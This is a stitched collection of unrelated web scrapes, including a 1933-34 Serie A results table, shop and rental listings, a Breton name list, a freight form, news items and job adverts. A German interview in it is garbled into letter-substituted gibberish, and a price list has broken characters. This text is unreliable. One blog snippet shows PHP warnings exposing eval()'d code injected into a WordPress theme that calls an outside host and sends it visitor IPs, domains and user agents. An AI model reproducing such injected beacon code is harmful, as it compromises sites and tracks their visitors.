1933 34 serie a : définition de 1933 34 serie a et synonymes de 1933 34 serie a (anglais)\ndéfinition - 1933 34 serie a\nSerie A 1933-34 Winners\n1. Juventus 34 23 7 4 88 31 +57 53 Champions\n16. Padova 34 9 9 16 32 49 -17 27 Relegated to Serie B\nHome \_ Away1 ALE AMB BOL BRE CSL FIO GEN JUV LAZ LIV MIL NAP PAD PAL PVE ROM TOR TRI\nAlessandria 0–2 2–2 1–0 4–1 3–1 3–1 2–1 3–2 2–1 1–1 1–0 3–0 2–1 0–1 1–1 3–1 1–0\nAmbrosiana-Inter 4–1 2–0 1–0 9–0 2–4 5–0 3–2 8–1 1–2 3–0 2–1 1–0 3–1 2–0 0–0 0–0 2–1\nBologna 4–1 0–1 4–1 2–0 0–0 3–0 2–2 0–0 1–0 2–1 3–0 3–0 4–1 4–1 1–0 2–2 2–0\nBrescia 2–1 1–1 1–2 3–1 4–0 3–1 1–2 0–0 1–1 3–0 1–1 1–0 1–1 1–0 1–0 1–0 3–2\nCasale 2–1 0–1 0–3 1–0 2–2 2–1 0–3 1–1 4–4 0–0 1–4 0–0 2–2 1–1 0–2 3–2 1–1\nFiorentina 0–0 1–0 3–0 2–0 0–0 2–1 2–2 2–0 1–0 1–0 0–1 3–0 4–1 1–1 1–3 1–1 1–1\nGenova 1893 1–0 0–0 1–0 3–1 5–0 1–2 0–2 1–2 2–0 2–2 1–1 1–0 1–1 3–0 1–0 2–2 0–1\nJuventus 3–1 0–0 4–1 5–1 6–1 5–0 8–1 2–2 4–1 4–0 2–0 5–1 1–1 3–0 3–1 4–0 4–1\nLazio 1–0 1–4 3–3 3–2 2–1 2–2 3–2 0–2 3–0 4–0 0–2 3–2 1–0 1–1 3–3 1–0 2–0\nLivorno 3–2 2–2 0–0 0–0 5–0 3–0 0–0 0–0 4–1 4–0 0–1 3–1 3–2 1–1 1–3 2–0 2–1\nMilan 3–0 1–2 1–1 4–0 6–2 2–0 1–0 3–1 4–2 3–1 0–22 2–2 1–0 2–0 1–0 4–0 0–1\nNapoli 2–1 2–1 1–0 1–0 2–1 1–1 0–0 2–0 2–1 0–0 1–0 1–1 3–0 1–0 1–2 5–2 2–0\nPadova 1–0 1–2 0–0 2–1 2–0 0–0 0–0 1–2 2–0 1–1 0–0 3–1 3–1 1–1 1–0 1–0 2–0\nPalermo 2–1 1–1 2–1 2–2 3–0 0–0 2–0 0–1 1–0 3–2 2–1 1–2 2–1 2–1 0–0 0–0 2–1\nPro Vercelli 1–0 0–0 2–0 2–1 4–1 7–2 2–0 0–2 2–0 0–0 2–1 0–0 4–0 3–0 1–2 1–0 1–1\nRoma 5–1 0–1 0–1 2–1 1–0 2–1 3–0 2–3 5–0 0–0 1–1 1–2 2–0 2–1 2–0 4–0 0–0\nTorino 1–1 1–0 0–1 1–0 5–2 4–1 3–1 1–2 1–1 5–0 3–3 0–0 4–2 2–1 0–0 3–6 2–1\nTriestina 3–0 0–0 1–1 0–1 2–0 2–3 1–0 0–1 4–2 0–1 2–2 4–1 2–1 1–0 2–1 1–1 1–1\n1933-34 in Italian football


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kZ Xg Mesita de noche diseño clásico y vintage | PRIMERA AVENIDA\nHome » NUESTRAS MARCAS » THAI NATURA » 15539/02 Mesita de noche de diseño clásico y vintage en madera acabado blanco\nMesita de noche de diseño clásico en madera acabado blanco.\n15539/02 Mesita de noche de diseño clásico y vintage en madera acabado blanco cantidad\nSKU: 15539/02 Categorías: Mesillas de noche vintage y provenzal, Mesitas de noche, THAI NATURA Etiquetas: clásico, decoración, diseño, dormitorio, elegante, interiorismo, madera, mesa de noche, mesilla de noche, mesita de noche, metal, metálico, minimalista, mobiliario, moderno, Mueble, muebles, multicolor, retro, rústico, salones, tienda, tiendas, vintage, viviendas\nMesita de noche de diseño clásico y vintage en madera acabado blanco.\nSé el primero en valorar “15539/02 Mesita de noche de diseño clásico y vintage en madera acabado blanco” Cancelar la respuesta


Displaying 51 - 60 of 223 results matching your search criteria\n1 BGV-1 Aston Ka’anapali Shores one-bedroom garden view condo at Ocean Front Resort\nAston Kaanapali Shores 1BG-5\n1 Br GV-5 Aston Ka’anapali Shores one-bedroom garden view condo at Beach Front Resort\nAston Kaanapali Shores #409\nAston Kaanapali Shores #409: Quaint One Bedroom Garden View Suite on the 4th Floor. Beach Front Resort Located on N. Kaanapali Beach\n1 Br GV-4 Aston Ka’anapali Shores one-bedroom garden view condo at Beach Front Resort\nAston Kaanapali Shores #447\nAston Kaanapali Shores #447: One Bedroom Garden View Suite on the 4th floor. Beach Front Resort Located on N. Kaanapali Beach\n1 Br GV-3 Aston Ka’anapali Shores one-bedroom garden view condo at Beach Front Resort


Queer Conservative: Chavez To United States: 'Go to Hell!'\nIf your opponent is of choleric temperament, seek to irritate him. — Sun Tzu


Pelican Brewing 11/15 — Uptown Market\nPelican Brewing 11/15\nJoin us on November 15th for a tasting featuring the beers of Pelican Brewing! 5pm-8pm\nLagunitas Tasting! 11/14


Frañsez Kentañ - Wikipedia\nFrañsez Kentañ ( diwar an anv-badez Frañsez) a c'hall bezañ\nFrañsez Iañ, dug Breizh, 1442–1450\nFrañsez Iañ, roue Bro-C'hall, 1515–1547\nFrañsez (1936-), an 266vet pab.\nFrañsez Iañ Sforza, Dug Milano\nFrañsez Iañ (dug Loren), 1544–1545,\nFrañsez Iañ (roue Skosiz)1558–1560,\nFrañsez Iañ Toskana), 1574–1587,\nFrañsez Iañ (dug Modena), 1644–1658, Dug Modena\nFrañsez Iañ Parma, 1694–1727, Dug Parma\nFrañsez Iañ an Impalaeriezh Santel, impalaer ar Romaned 1745–1765\nFrañsez Iañ (impalaer Aostria), 1804–1835, impalaer Aostria ha roue Hungaria ha Bohemia, 1792–1835\nFrañsez Iañ an Div Sikilia), 1825–1830\nFrañsez Iañ (roue Spagn), 1846–1868, roue kenseurt Spagn\nFrañsez Iañ ( Liechtenstein), 1929–1938\nFrañsez Iañ (roue Bro-Saoz, Skos, hag Iwerzhon), 1840–1875 a veze graet gant ar Jakobited saoz eus Frañsez V (Modena), dug Modena, (1819–1875), diskennad henañ ar roue Charlez Iañ (Bro-Saoz), goude ma oa anv kentañ gwaz Mari Iañ, rouanez Skosiz, a oa bet anvet Francis the first, by the grace of Good, King of Scots gant kannaded Keredin en iliz veur Notre-Dame de Paris d'ar 24 a viz Ebrel 1558.\nAdtapet diwar « https://br.wikipedia.org/w/index.php?title=Frañsez_Kentañ&oldid=1854008 »


RFTS VOL.03 What it Feels Like by Karla Martinez (eBook) - Lulu\nRFTS VOL.03 What it Feels Like\nJUST FOR ADULTS FULLY COLORED Pages: 20 Rate: Ao. 18+ Release date: 2011 Characters involved: Kian Mikierr, Nee Ikeda, Micca Lusios, Midori Geisan, Bernadette Durnel. WARNING: this comic contains HENTAI, POSSESSION.\nLulu Sales Rank: 5129\nRFTS Katrina's Story By Karla Martinez eBook:


Elgin Motor Freight Inc. Online Rate Request\nEmail Address: City:*\nAB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Postal/Zip Code:*\nAB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Destination:*\nAB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Origin: AB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Destination: AB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Origin: AB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Destination: AB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Origin: AB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Destination: AB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Origin: AB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Destination: AB BC MB NB NF NT NS NU ON PE QC SK YT AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA WV WI WY Commodity:*\nPlease Choose Auto Parts Steel-coil/Tubing General Freight Weight:*\nPlease Choose 2000-5000lbs. 5000-10000lbs. Truckload - 40000lbs. Heavy Haul - 70000lbs. Heavy Haul - 80000lbs. Heavy Haul - 90000lbs. Comments, Load Description, Etc\n© 2015 ELGIN MOTOR FREIGHT INC.


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q8 wg Kepala Sekolah Yayasan Pendidikan Islam Alfalah Nurul Hikmah Asyapriyah Ucapkan Terimakasih Atas Bantuan Alat Perlengkapan Sekolah Dari Polda Banten – Tribrata News Banten\nHome/News/Kepala Sekolah Yayasan Pendidikan Islam Alfalah Nurul Hikmah Asyapriyah Ucapkan Terimakasih Atas Bantuan Alat Perlengkapan Sekolah Dari Polda Banten\nadmin _ 30/09/2021\tNews Leave a comment 148 Views\nPandeglang – Kepala Sekolah Yayasan Pendidikan Islam Alfalah Nurul Hikmah Asyapriyah sangat mengapresiasi Kapolda Banten telah peduli kepada siswa-siswi dengan membagikan alat perlengkapan sekolah untuk pembelajaran tatap muka (PTM).\n“Bantuan alat perlengkapan sekolah ini akan digunakan dan dimanfaatkan sebaik-baiknya, untuk memperlancar kegiatan belajar-mengajar . disekolah kami.” Ujar Nasrudin. (Bidhumas)\nPrevious Kepala Sekolah SDN Majalaya Tunjung Teja Ucapkan Terimakasih Atas Bantuan Alat Perlengkapan Sekolah Dari Polda Banten\nNext Pimpinan MTS Anwarul Hidayah dan Pimpinan Ponpes Salafi Al Hidayah MI Ucapkan Terima Kasih Kepada Polda Banten


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ABRAMOWITZ, HOWARD E | Examiner Ninja\n11047725 Chemical Vapor Deposition Apparatus and Film Deposition Method Feb. 02, 2005 Patent Expired Due to NonPayment of Maintenance Fees Under 37 CFR 1.362\n10993725 Thermal fatigue crack-resistant coatings for motor vehicle cylinder head Nov. 19, 2004 Abandoned -- Failure to Respond to an Office Action\n10963575 Plasma Processing Apparatus, Protecting Layer Therefor and Installation of Protecting Layer Oct. 14, 2004 Patent Expired Due to NonPayment of Maintenance Fees Under 37 CFR 1.362\n10945535 Process for the Fabrication of Oxide Films Sep. 20, 2004 Patented Case\n10931795 Method of Forming a Diamond Coating on an Iron-Based Substrate and Use of Such an Iron-Based Substrate for Hosting a Cvd Diamond Coating Aug. 31, 2004 Patent Expired Due to NonPayment of Maintenance Fees Under 37 CFR 1.362\n10929755 Silicon nitride from aminosilane using PECVD Aug. 30, 2004 Abandoned -- Failure to Respond to an Office Action\n10928505 Method for Improving Thickness Uniformity of Deposited Ozone-Teos Silicate Glass Layers Aug. 26, 2004 Patented Case\n10482117 Substrate Processing Apparatus and Method Jun. 28, 2004 Patent Expired Due to NonPayment of Maintenance Fees Under 37 CFR 1.362\n10867865 Electron Beam Processing Method Jun. 15, 2004 Patented Case\n10841585 Reactor Surface Passivation Through Chemical Deactivation May. 07, 2004 Patented Case


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Vll Bpvekutuaeu poleekeu lu peO NnpeOOeukeua uuO Ouletlpekeu Guulu: Veuu ep anl aetettl lpl, houueu vll otlel Oet epel ple Pllouae pekteaeu.\nVBUI: Blupeu Ple pep anl?\nBeepe: Zelu, epel pep lpl uelketleupleteueul.\nVBUI: Ble Oelpleu Zeupekeu velpeu vukt uuu plek pekenoleu, pepp ple tel peu Peknle pel VOvetl enek tel ueektutaeupe 6euelelluueu plup. Veuu pep Guupeup lpl, velnO uelketleu ple plek ulekl peueek?\nBeepe: Ble Blphleoeue evlpekeu Bluplettnua nup Uelketleu pelellel nup Vlppeupeketltelu Guoteelpleekeu nup kel elue Belke uuu 6leupeu. NnO Pelpolet Bunllue. Vel lu elueO Fenpketl Oll evel Pnlup pueletlplell vnlpe, kel ep pekvel, pelent en uelelekleu.\nVBUI: Bep puelete VOtetp pepllOOl etpu, vle vll nup uelketleu?\nBeepe: Zeupekeu, ple plek ekel Oll huupeluellueu 6lnooeu lpeulltleleleu, atenpeu kontla ulekl upel plup pheollpek, pepp pel GtlOeveupet OeupekeuaeOeekl lpl. Pttelu ple 6lnooeuenaekollahell kel pekuu euulOeu Bluttnpp ent nupele VekluekOnua. Bep pelllttl epel enek VOvetlalnooeu. Vll pnekeu nup ple lutulOelluueu enp, ple en nupeleO Vetlpltp oeppeu.\nVBUI: Felhnutl nup Felpeulllep. Bep htlual ueek eluel vnupelpeleu Pnplepe, nO Ueleulvullnua en petealeleu. Gouueu vll nupel Uelketleu peuu ulekl pevnppl oupelu?\nBeepe: Vle vll nup lu pepllOOleu Pllnelluueu uelketleu, vllp pnlek puelete ZulOeu aeoloal. Been alpl ep ulete Plnpleu. Nvel Pelpolete. lu pel puaeueuuleu Fuletplnple vnlpeu ple 6ople lu evel 6lnooeu nulelleltl. lu peu FuletelOOelu pel IeltuekOel pel elpleu 6lnooe klua lO Pep elu Nellet, ent peO pleup: „Pllle peunleeu Ple lkle Feupleekel OeklOetp“. Beaeaeu elkletl ple evelle 6lnooe ple lutulOelluu: „Ble Oelpleu nupelel 6ople peunleeu lkle Feupleekel OeklOetp“. Bp eelale plek, pepp ple Nekt pel 6ople, ple ple Feupleekel OeklOetp peunleleu, lu pel evelleu 6lnooe pekl ulet aloQel vel etp lu pel elpleu.\nBlepe VellelevlleOe huOOeu ent nup en\nBel Benlpeke Vellelpleupl kel pelue GtlOeelheuululppe tel 09it uulaeplettl. Blu Iekl Oll uleteu VellelevlleOeu. ZeOeu vle „Pvet" upel „Aeulel" peltleu uleteu uuek lu Blluuelnua pelu.\nVBUI: Vup pep evelle Pelpolet?\nBeepe: lu eluel eupeleu Plnple vnlpe ueekaevlepeu, pepp Zeupekeu, ple – Oll elueO Beoopeekel upel Pekuhulleaet enpaeplellel – epel elueu Belhotele aekeu, lkleu Pptett kontlael eluteek tetteu teppeu, veuu plepel enaeOettl lpl.\nVBUI: Blu eupelel ehlnettel Bett: lu Geoplepl plukl elue aluQe Veppelhueookell. Bep vnpple ple Uelvetlnua pell UeuaeO. IlulepeO elpektupp ple helue ueneu 6lnupveppeluulhuOOeu, heOOelle plek ulekl nO Ppveppelentpelellnua. Feupetu Glaeulpelluueu enek ulekl lelluuetel etp Zeupekeu?\nBeepe: Veuu vll enphteOOelu, pepp luleleppeualnooeu upel enek Gullnolluu peklulelpleeheu houuleu, aekl ep lO Vepeultlekeu nO tekteupe Bulpekelpnuaeu. Bep lpl uelOnltlek elu pvpleOlpekep BlupteO.\nDürre in Südafrika: Das Jahr 2017 gehört zu den drei wärmsten Jahren seit Beginn der Aufzeichnungen vor fast 170 Jahren\nBeepe: Ble Veppelhueookell lu Geoplepl lpl uuu uleteu Behluleu peeluttnppl: Bel Oeueke VuleluekOeu Oea ep pluuuutt pelu, Veppel en uelhueooeu, nO ep lenlel en Oeekeu. Beuu alpl ep eupele 6lnooeu vle Fuletp, Gleuheukonpel, epel enek ple Ueupvlllpeketl, ple ent elue penelketle Uelteapelhell pep Veppelp euaevlepeu plup, vep en eluel Oepplueu Pnppenlnua tekll. Bep Onpp Oeu enpeOOeu peuheu, epel Uelvetlnuaeu ealeleu lu pel Beaet ulekl pvpleOlpek. Bp alpl elu ZlulplellnO tel Vlllpeketl, elu ZlulplellnO tel Buelale nup luuelketp lepep ZlulplellnOp ulete uelpeklepeue IkeOeupeleleke, ple utl uepeuelueupel kel, epel ulekl Ollelueupel elpelleu.\nVBUI: Vll plup etpu pektlekl en pnOO, peu GtlOeveupet entenketleu?\nBeepe: Zelu, vll houueu lku pluooeu. Beuheu Ple eu pep BPGV-Uelpul i000. PellpeO lpl pep Geuutuek aepeklnOotl. Gpel pep Bluenelpele-Buelaleu-6epele Bupe pel 09el-Iekle, pep enl Buelaleveupe aetekll kel nup uuu eupeleu Uoupelu lu okutlekel Velpe epeluuOOeu vnlpe. Be kel elue atupete 6eOelupeketl elvep pevllhl nup Blueeppe lu 6eua aepelel.\nVBUI: Vle lpl pep aetnuaeu?\nBeepe: VO elvep en pevllheu, plup 6lnooeu vleklla. Veuu vll etp 6lnooe pep 6etekt kepeu, nupel Nlet en ellelekeu, peuu aetlual nup pep veklpekelutlek enek.\nVBUI: Putteu lelel ette VOvetlalnooeu pellleleu?\nBeepe: Bep vole plekel vllhpeO, lpl epel nuleetlpllpek. Gtel Onpp epel pelu – nup pe elllele lek lelel Oet pteuh Bluh Btuvp: „Iuaelkel ve pleup, plulpep ve tett.“\nDer Kurz-Link dieses Artikels lautet: https://www.welt.de/174411885


• NC24010 - Coffret de 2 c�..39.00 �34.00 �• NC24005 - Coffret de 2 c�..45.00 �39.00 �• LOT2-N - Lot de 2 coffret..70.00 �59.00 �• NC24004 - Coffret de 2 c�..35.00 �32.00 �• LOT1-N - Lot de 2 coffret..70.00 �59.00 �• NC24008 - Coffret de 2 c�..39.00 �34.00 �• LOT3-N - Lot de 2 coffret..70.00 �59.00 �• NC24003 - Coffret de 2 c�..35.00 �32.00 �• NC24009 - Coffret de 2 c�..39.00 �34.00 �• NC24006 - Coffret de 2 c�..45.00 �39.00 �• NC24002 - Coffret de 2 c�..39.00 �32.00 �• NC24007 - Coffret de 2 c�..39.00 �34.00 �• NC24001 - Coffret de 2 c�..39.00 �32.00 �• LOT4-N - Lot de 4 coffret..140.00 �119.00 � - 1 de 6 -R�f. HO 41014 - 242 AT 6 PLM- 2 de 6 -R�f. HO41015 - 242 BT 18 PLM1640.00 �- 3 de 6 -R�f. HO41016 - 5-242 TA 53 sud-est- 4 de 6 -R�f. HO41017 - 5-242 TB 14 sud-est- 5 de 6 -R�f. HO41018 - 2-242 TA 23 nord- 6 de 6 -R�f. HO41019 - 1-242 TA 119 est1640.00 � R�f. HO 41014 - 242 AT 6 PLM N/Réf: HO41014


24-octubre-2018 – AUNA\nWarning: file_get_contents(http://sapenew.pw/get.php?ip=18.208.186.19&d=blog.electroclub.com%2F2018%2F10%2F24%2F&u=CCBot%2F2.0+%28https%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&i=1&h=eb4961287a2fa057d16b0e1a9543ecc9): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/blogEC/wp-content/themes/atticus/footer.php(101) : assert code(1) : eval()'d code on line 13\nWarning: file_get_contents(http://sapenew.pw/get.php?ip=18.208.186.19&d=blog.electroclub.com%2F2018%2F10%2F24%2F&u=CCBot%2F2.0+%28https%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&i=1&h=eb4961287a2fa057d16b0e1a9543ecc9): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/blogEC/wp-content/themes/atticus/index.php(16) : assert code(1) : eval()'d code on line 13


5/17/17 - Hour 1 - Glenn Beck\n5/17/17 - Hour 1\nHow chaos occurs ...We're living in a world of chaos. How do we explain it? ...The media will never understand the real story in what is happening in DC ...If we can't agree on truth, chaos will continue ...Glenn's dream for a library is taking shape ...Be an intern for Glenn Beck's museum ...Glenn's advice to save President Trump


Heaven (Don't Have A Name) - Sam Feldt | Muzyka, mp3 Sklep EMPIK.COM\nHeaven (Don't Have A Name) (Album mp3)\n1. Heaven (Don't Have A Name) Sam Feldt 02:56 5,49 zł\n2. Heaven (Don't Have A Name) Sam Feldt 03:47 5,49 zł\nTytuł: Heaven (Don't Have A Name)\nWłaśnie zrecenzowałem Heaven (Don't Have A Name)


sport | Soubenn ar geek\nDielloù evit sport\nPosted in Levrioù bannoù-treset with tags bed ordinal, merc'hed, sport on Genver 2, 2016 by geekezig\nKuzuliet eo bet din Princesse Suplex gant meur a genseurtez ha bihan tout eo setu ‘m eus tapet da lenn en tren. Bihan tout eo da vat, lennet e vez e teir munutenn hepken. Anzav a ran en defe plijet din gwelet muioc’h eus an istor-se. Kontañ ‘ra istor ur plac’h yaouank, o labourat en ur burev bennak hag a dremen hec’h amzer vak o vont da gemer perzh e krogadoù catch e kêriadennoù bihan. Nerzh an arvest, an emgannoù, an istorioù, darempredoù etre ar merc’hed a n’em adkav bep sizhun, aergelc’h ar c’hêriadennoù e lec’h ma tremen an traoù… Tout an traoù se a vez santet ha komprenet en nebeut pajennoù a ya d’ober Princesse Suplex. Tresadennoù Léonie a zo brav ivez ha setu perak em befe c’hoant gwelet un istor hiroc’h! Anzav a ran en deus roet din un tamm keuz ivez eus ar mare ma heulien aketus ar c’hatch :’) Ul levrig a feson eo daoust da bep tra.\nIstor ha tresadennoù gant Léonie. Embannet gant Manolosanctis d’an 19 a viz Eost 2010.\nPosted in Filmoù with tags bed ordinal, bloavezhioù 80, familh, sport, Stadoù-Unanet on Meurzh 8, 2015 by geekezig\nPosted in Filmoù with tags arc'hant, bed ordinal, familh, krennarded, labour, lise, sevel bugale, sport, Stadoù-Unanet on C'hwevrer 27, 2015 by geekezig\nUn doare “indie movie” amerikan klasel eo Win Win. Mike a zo un alvokad en ur gêr vihan met n’a ket mat an traoù en e labour. Ober a ra war-dro skipailh gourenerezh al lise met nul a-walc’h eo ar baotred. Un deiz bennak e tiviz touellañ ur paotr kozh evit gounit arc’hant. Goude-se ec’h erru mab-bihan an den-se, en deus tec’het eus ti e vamm. Ur sapre gourenener eo Kyle. Tamm-ha-tamm e kav ar familh ur c’hempouez gant Kyle en ti ganto ha skipailh gouren al lise a gav ul lañs nevez.\nSouezhet on bet er penn-kentañ met plijus eo ar film, gant tudennoù leun a sioù a-benn ar fin. Plijus ‘m eus kavet ha souezhet on bet gant ar fin, a zo un “happy ending” c’hwerv-tre. Ur film bihan a-feson.\nFilm sevenet gant Thomas McCarthy. Stadoù-Unanet Amerika, 2011, 1e46.\nPosted in Levrioù bannoù-treset with tags karantez, lise, mignoniezh, skolaj, sport on Du 13, 2012 by geekezig\nOuzhpenn un titl fentus a zo el levr bannoù-treset-mañ. Kontet e vez gant an arzour e istor, e grennardiezh e Mostar, e Bosnia. Kroat eo heñ ha kaset eo bet kuit, ur mignon serb en deus er skol. Plijout a ra ar basketball dezho. Ur plac’h, turkez ha muzulmanez a vo mignonez ganto ivez. A bep seurt eñvorennoù a vo gwelet neuze, ur vuhez a seblant aes daoust d’un endro nec’hus (brezel e-kichen memestra!) ha darempredoù un tamm start etre katoliked ha muzulmiz. Na pell e seblant seurt kudennoù pa vezer 14 vloaz…\nBrav-tre eo al levr-mañ, gant livioù dispar (gwelloc’h eget an tresadennoù dre vras, daoust dezho bezañ plijus ivez). Dipitet on bet un tamm gant ar fin, c’hoant em befe bet da c’houzout muioc’h war tonkad pep hini anezho. Un tammig evel un eñvorenn o tispisaat pe un hunvre amsklaer a-benn ar fin… Leun a varzoniezh, un tamm c’hwerv, melkonius ha kevrinus.\nPosted in Levrioù bannoù-treset with tags sport on Du 11, 2012 by geekezig\nJohann Trollmann a oa un alaman a orin tzigan. Bet eo kampion boks en Alamagn e 1933, e-pad ur sizhunvezh hepken. Dalc’het e oa kuzul ar sportoù gant nazied eveljust ha ne blije ket dezho ar skeudenn treuzkaset gant ar paotr-se.\nEl levrenn-mañ e vez gwelet Johann bugel, o teskiñ boksiñ hag o tapout brud. Ur vuhez riboul ha plijadur un tamm, betek e gampionad e 1933. En eil e vo gwelet tuoù teñvaloc’h moarvat.\nDaoust d’ar golo kliche penn-da-benn em eus kavet plijus-tre al levr bannoù-treset-mañ. Dizoloet em eus istor un den n’anavezen ket tamm ebet hag an tresadennoù, gant un tu “fiñv-tresadenn klasel” evit an tudennoù, am eus kavet dreist.


16-Jul-2018 Graduate Intern (Queen Mary University London 2018 Undergraduate Only) QMUL15226 Salary will be in the range of £26,717pa - £32,956pa (Grade 3) Student Services - Engagement, Retention & Success Administration Jobs\n16-Jul-2018 Clinical Trials Monitor QMUL15187 Starting salary will be in the range £32,956 - £38,709 per annum inclusive of London Allowance. (Grade 4) Wolfson Institute of Preventive Medicine Management and Professional Jobs\n16-Jul-2018 Admissions and Records Officer QMUL15412 £32,956 - £38,709 per annum (Grade 4) Academic Registry & Council Secretariat Administration Jobs\n16-Jul-2018 Drapers Manager QMUL15481 Starting salary will be in the range of £26,717pa - £32,956pa (Grade 3) Students' Union Internal Candidates Only\n16-Jul-2018 Senior Scientific Officer QMUL15282 Starting salary will be in the range £36,677-£43,152 per annum inclusive of London Allowance. (Grade 5) Centre for Tumour Biology, Barts Cancer Institute Internal Candidates Only